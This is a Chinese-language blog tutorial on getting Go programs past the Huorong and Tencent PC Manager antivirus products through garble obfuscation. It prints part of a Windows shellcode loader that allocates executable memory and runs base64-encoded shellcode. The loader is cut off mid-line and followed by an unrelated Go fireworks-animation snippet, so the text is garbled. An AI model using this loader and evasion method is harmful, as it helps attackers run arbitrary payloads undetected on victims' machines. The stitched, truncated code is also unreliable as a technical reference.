golang任意代码免杀绕过火绒+电脑管家

火绒和电脑管家主要以静态规则为主,但是有时候静态杀起来也挺让人奔溃的,这边分享一下如何拿捏火绒和电脑管家

本文主要介绍如何通过garble进行混淆编译来绕过火绒,garble也可以绕过其他杀软,但是对火绒和电脑管家特别有效果,以火绒为例 下面来对比一下golang原生和garble混淆编译后得差距

来一个很原始的的shellcode loader代码,将原始shellcode base64后就进行加载执行

shellcode loader代码

package main

import (
	"encoding/base64"
	"log"
	"syscall"
	"time"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlMoveMemory")
)

func main() {
	b64shellcode:="b64shellcode"
	shellcode, err := base64.Std
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Golang烟花代码是一种使用Go语言编写的模拟烟花爆炸效果的程序。它通过使用Golang的图形库和并发机制,实现了烟花在屏幕上绽放的效果。 以下是一个简单的Golang烟花代码示例: ```go package main import ( "fmt" "math/rand" "time" "github.com/fogleman/gg" ) const ( width = 800 height = 600 ) type Particle struct { X, Y float64 VX, VY float64 Life int Color string Sparkles []Sparkle } type Sparkle struct { X, Y float64 VX, VY float64 Life int Color string } func main() { dc := gg.NewContext(width, height) dc.SetRGB(0, 0, 0) dc.Clear() particles := make([]Particle, 0) for i := 0; i < 100; i++ { p := Particle{ X: width / 2, Y: height, VX: rand.Float64()*6 - 3, VY: -rand.Float64()*5 - 5, Life: rand.Intn(60) + 60, Color: fmt.Sprintf("#%06x", rand.Intn(0xffffff)), } particles = append(particles, p) } for len(particles) > 0 { dc.Clear() for i := len(particles) - 1; i >= 0; i-- { p := &particles[i] dc.SetRGB255(parseColor(p.Color)) dc.DrawPoint(p.X, p.Y, 1) p.X += p.VX p.Y += p.VY p.VY += 0.1 p.Life-- if p.Life <= 0 { particles = append(particles[:i], particles[i+1:]...) continue } for j := len(p.Sparkles) - 1; j >= 0; j-- { s := &p.Sparkles[j] dc.SetRGB255(parseColor(s.Color)) dc.DrawPoint(s.X, s.Y, 1) s.X += s.VX s.Y += s.VY s.VY += 0.1 s.Life-- if s.Life <= 0 { p.Sparkles = append(p.Sparkles[:j], p.Sparkles[j+1:]...) } } if rand.Float64() < 0.02 { s := Sparkle{ X: p.X, Y: p.Y, VX: rand.Float64()*6 - 3, VY: rand.Float64()*6 - 3, Life: rand.Intn(20) + 20, Color: fmt.Sprintf("#%06x", rand.Intn(0xffffff)), } p.Sparkles = append(p.Sparkles, s) } } dc.Stroke() dc.SavePNG("fireworks.png") time.Sleep(time.Millisecond * 10) } } func parseColor(color string) (int, int, int) { var r, g, b int fmt.Sscanf(color, "#%02x%02x%02x", &r, &g, &b) return r, g, b } ``` 这段代码使用了第三方库`github.com/fogleman/gg`来进行图形绘制。它模拟了烟花的爆炸效果,通过不断更新粒子的位置和颜色,实现了烟花在屏幕上绽放的效果。
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